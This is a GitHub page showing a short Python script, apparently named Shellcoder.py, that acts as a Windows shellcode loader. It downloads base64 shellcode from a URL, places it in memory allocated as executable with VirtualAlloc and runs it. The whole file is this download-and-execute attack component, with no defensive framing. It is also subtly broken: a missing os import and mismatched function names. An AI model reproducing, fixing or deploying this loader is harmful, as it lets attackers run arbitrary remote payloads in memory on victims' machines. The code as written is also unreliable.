-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathShellcoder.py
71 lines (54 loc) · 1.57 KB
/
Shellcoder.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#===========================#
# I M P O R T S #
#===========================#
from urllib import request
import base64
import ctypes
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKCYAN = '\033[96m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
BLACK = '\033[30m'
RED = '\033[31m'
GREEN = '\033[32m'
YELLOW = '\033[33m'
BLUE = '\033[34m'
MAGENTA = '\033[35m'
BACKGROUND_MAGENTA = '\033[105m'
BACKGROUND_WHITE = '\033[47m'
CYAN = '\033[36m'
WHITE = '\033[37m'
ORANGE = '\033[38;5;208m'
os.system("color")
#===========================#
kernel32 = ctypes.windll.kernel32
#===========================#
def getCode(url):
with request.urlopen(url) as response:
shellcode = base64.decodebytes(response.read())
return shellcode
#===========================#
def writeMemory(buf):
length = len(buf)
kernel32.VirtualAlloc.restype = ctypes.c_void_p
kernel32.RtlMoveMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
ptr = kernel32.VirtualAlloc(None, length, 0x3000, 0x40)
kernel32.RtlMoveMemory(ptr, buf, length)
return ptr
#===========================#
def run(shellcode):
buffer = ctypes.create_string_buffer(shellcode)
ptr = write_memory(buffer)
shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None))
shell_func()
#===========================#
if __name__ == '__main__':
url = ""
shellcode = get_code(url)
run(shellcode)